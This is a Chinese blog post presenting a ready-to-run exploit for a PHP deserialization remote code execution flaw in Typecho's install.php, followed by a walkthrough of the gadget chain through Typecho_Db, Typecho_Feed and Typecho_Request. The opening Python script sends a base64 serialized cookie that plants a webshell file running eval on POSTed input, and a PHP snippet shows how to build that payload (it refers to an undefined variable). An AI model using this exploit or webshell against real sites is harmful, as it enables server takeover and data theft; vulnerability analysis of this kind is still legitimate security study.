美文网首页
Typecho Install.php 任意代码执行

Typecho Install.php 任意代码执行

作者: 白里个白 | 来源:发表于2017-10-25 23:46 被阅读0次

    payload

    #coding=UTF-8
    
    import requests
    import optparse
    
    
    def exp(request_url):
        url = request_url+"/install.php?finish=1"
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Encoding': 'gzip, deflate, compress',
                'Accept-Language': 'en-us;q=0.5,en;q=0.3',
                'Cache-Control': 'max-age=0',
                'Referer':request_url+'/install.php',
                'Connection': 'close',
                'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdrZXkucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtwYXNzXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==',
                #'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo0OiJldmFsIjt9fX19fXM6NjoicHJlZml4IjtzOjc6InR5cGVjaG8iO30=',
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0'}
        s = requests.Session()
        s.headers.update(headers)
        z = s.get(url=url)
        print z.content
    
    parser = optparse.OptionParser("usage%prog" + "-u <target url>")
    parser.add_option('-u', dest = 'tgturl', type = 'string', help = "please scand url.")
    (options,args) = parser.parse_args()
    tgturl = options.tgturl
    exp(tgturl)
    
    

    原理

    这是一个PHP序列化的漏洞
    原因出在网站根目录下install.php里

     <?php if (isset($_GET['finish'])) : ?>
                    <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                    ......
                    <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                    ......
                    <?php else : ?>
                        <?php
                        $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                        Typecho_Cookie::delete('__typecho_config');
                        $db = new Typecho_Db($config['adapter'], $config['prefix']);
                        $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                        Typecho_Db::set($db);
                        ?>
    

    这里可以看出,只要存在finish,并且__typecode_config的cookie存在,就可以对base64加密过的cookie进行序列化。
    下面又把config里的adapter和prefix使用Typecho_Db进行实例化,并且调用了addServer的方法,下面,我们进入Typecho_Db瞄一瞄:
    当然序列化后的对象,我们无法直接调用方法,所以,我们必须找一些能特殊调用的方法,比如构造函数,析构函数之类的,
    这里,我们在Db.php中对象的构造函数下发现了:

    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;
    
        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    
        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }
    
        $this->_prefix = $prefix;
    
        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();
    
        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }
    

    这里存在一个$adapterName字符串进行了拼接,所以就能触发__string()方法
    我们可以全局搜素__toString()方法,观察有没有我们需要的:

    我们发现了这里存在问题:

       public function __toString()
        {
            $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
    
            if (self::RSS1 == $this->_type) {
    ......
            } else if (self::ATOM1 == $this->_type) {
              ......
                foreach ($this->_items as $item) {
                 ......
        <name>' . $item['author']->screenName . '</name>
        <uri>' . $item['author']->url . '</uri>
    

    到这里,我们知道item['author']中screenName的键值如果不可访问,就会触发__get()函数
    我们再去寻找get函数:

    我们寻找到一个request的对象:

     public function __get($key)
        {
            return $this->get($key);
        }
        public function get($key, $default = NULL)
        {
            switch (true) {
                case isset($this->_params[$key]):
                    $value = $this->_params[$key];
                    break;
                case isset(self::$_httpParams[$key]):
                    $value = self::$_httpParams[$key];
                    break;
                default:
                    $value = $default;
                    break;
            }
    
            $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
            return $this->_applyFilter($value);
        }
    

    这里对_params属性进行赋值,把结果传入value,最后返回_applyFilter($value),我们跟到这个函数里看看:

    private function _applyFilter($value)
        {
            if ($this->_filter) {
                foreach ($this->_filter as $filter) {
                    $value = is_array($value) ? array_map($filter, $value) :
                    call_user_func($filter, $value);
                }
    
                $this->_filter = array();
            }
    
            return $value;
        }
    

    这里就比较的清晰明了了,array_map()可以把数组中的每个值发送到用户自定义函数,返回新的值。call_user_func 可以把第一个参数作为回调函数调用,也就是说,都可以命令执行,由于我们第二个参数是数组,所以,我们不能使用eval,那我们就使用assert来实现命令执行,最后,构造整个的序列化:

    <?php
    
    class Typecho_Feed{
        private $_type = 'ATOM 1.0';
        private $_items = array();
    
        public function addItem(array $item){
            $this->_items[] = $item;
        }
    }
    
    class Typecho_Request{
        private $_params = array('screenName'=>'file_put_contents(\'key.php\', \'<?php @eval($_POST[pass]);?>\')');
        private $_filter = array('assert');
    }
    
    $zz = new Typecho_Feed();
    $hh = new Typecho_Request();
    $zz->addItem(array('author' => $hh));
    $exp = array('adapter' => $payload1, 'prefix' => 'typecho');
    echo base64_encode(serialize($exp));
    ?>
    

    最后,得到的就是结果了。
    实现一下:

    相关文章

      网友评论

          本文标题:Typecho Install.php 任意代码执行

          本文链接:https://www.haomeiwen.com/subject/tnxhpxtx.html